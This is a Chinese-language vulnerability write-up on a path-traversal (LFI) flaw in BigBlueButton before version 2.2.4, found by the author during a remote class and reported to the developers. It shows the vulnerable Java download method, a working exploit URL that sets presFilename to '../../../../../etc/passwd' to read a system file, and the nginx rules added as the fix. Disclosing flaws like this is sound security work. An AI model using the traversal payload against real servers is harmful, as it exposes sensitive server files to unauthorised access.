BigBlueButton 版本低于 2.2.4 存在 LFI 漏洞,允许访问敏感文件。
在一次使用 BigBlueButton 进行的远程学习课程中,我班上的一名学生分享了我老师的幻灯片演示链接,我注意到文件名包含在 URL 中。

学生:“不用记笔记了,我已经拿到幻灯片了。”
我:“好吧,那我得写一份安全报告了。” 😂
稍微摆弄一下,我就能获取到服务器的 /etc/passwd 文件,并发现开源解决方案 Big Blue Button 存在一个安全漏洞。
我报告了该漏洞,BBB 团队迅速回应并在短短几天内修复了它。
public File getDownloadablePresentationFile(String meetingId, String presId, String presFilename) {
log.info("Find downloadable presentation for meetingId={} presId={} filename={}", meetingId, presId, presFilename);
File presDir = Util.getPresentationDir(presentationBaseDir, meetingId, presId);
return new File(presDir.getAbsolutePath() + File.separatorChar + presFilename);
}
如你所见,这个方法被 PresentationController 使用,通过拼接 3 个参数来下载演示文件:
这使得可以构造出如下链接:
https://test.bigbluebutton.org/bigbluebutton/presentation/download/ffc98830dbfbac3dcc80cc4c5f30711ebd1c23e8-1586764259489/d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500?presFilename=d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500.pdf
要利用该漏洞,只需获取一个有效的演示文件链接,然后修改 presFilename 参数以访问敏感文件。
https://test.bigbluebutton.org/bigbluebutton/presentation/download/ffc98830dbfbac3dcc80cc4c5f30711ebd1c23e8-1586764259489/d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500?presFilename=../../../../../etc/passwd

BBB 团队在 2.2.4 版本中通过服务器配置规则(HTTP)、正则表达式和精确的文件名格式修复了该漏洞。
location /bigbluebutton/presentation/download {
return 404;
}
location ~ "^/bigbluebutton/presentation/download\/[0-9a-f]+-[0-9]+/[0-9a-f]+-[0-9]+$" {
if ($arg_presFilename !~ "^[0-9a-f]+-[0-9]+\.[0-9a-zA-Z]+$") {
return 404;
}
proxy_pass http://127.0.0.1:8090$uri$is_args$args;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# 解决 IE 在 iframe 中拒绝设置 cookie 的问题
add_header P3P 'CP="No P3P policy available"';
}